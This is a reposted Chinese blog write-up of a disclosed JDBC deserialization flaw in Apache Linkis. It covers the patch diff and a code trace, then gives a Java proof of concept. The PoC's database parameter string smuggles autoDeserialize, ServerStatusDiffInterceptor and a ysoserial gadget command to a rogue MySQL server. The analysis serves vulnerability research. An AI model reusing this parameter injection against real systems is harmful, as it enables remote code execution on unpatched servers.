apache_ links jdbc反序列化漏洞

admin 2024年2月15日16:31:44评论10 views字数 1203阅读4分0秒阅读模式

commit地址

https://github.com/apache/linkis/commit/7005c01d7f7bca78322447f4f2f32b8398645687#diff-fbdc1d6e858556b3a29efe4862c0bbe5b66ed986f327bae43da9adafd0c4b743

漏洞通告

https://seclists.org/oss-sec/2023/q2/9

补丁对比

新代码验证了很多mysql连接的校验

apache_ links jdbc反序列化漏洞

apache_ links jdbc反序列化漏洞

漏洞分析

根据通告来看是jdbc反序列化,所以我们找一个可能会在连接中触发的函数跟踪。这里我选择了checkJdbcConnParams(),发现跟踪到了SqlConnection()

apache_ links jdbc反序列化漏洞

apache_ links jdbc反序列化漏洞

对比一下版本的差别,多了参数的校验

apache_ links jdbc反序列化漏洞

看看漏洞版本的代码,发现只对额外的参数做了校验。所以这里猜测可以直接拼接参数。

apache_ links jdbc反序列化漏洞

调试发现确实直接走到了connection

apache_ links jdbc反序列化漏洞

看一下mysql的版本

apache_ links jdbc反序列化漏洞

emmmm,mysql版本好像有点高。根据8.x版本写一下mysql的反序列化payload,构造一下SqlConnection,代码如下

import org.apache.linkis.metadata.query.service.mysql.SqlConnection;import java.sql.SQLException;import java.util.HashMap;import java.util.Map;public class test {    public static void main(String[] args) throws SQLException {        Map<String, Object> mp = new HashMap<>();        String host = "127.0.0.1";        int port = 3306;        String name = "root";        String password = "root";        String data ="mysql?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_open -a Calculator.app";        try {            SqlConnection s = new SqlConnection(host, port, name, password, data, mp);        } catch (ClassNotFoundException e) {            throw new RuntimeException(e);        }    }}

复现发现mysql恶意服务器收到了请求,mysql8.x版本有点高所以命令执行是失败的emmm。

apache_ links jdbc反序列化漏洞

规则编写

此漏洞为jdbc的专题添加,暂不编写规则。

原文始发于微信公众号(e0m安全屋):apache_ links jdbc反序列化漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日16:31:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   apache_ links jdbc反序列化漏洞https://cn-sec.com/archives/2191035.html

发表评论

匿名网友 填写信息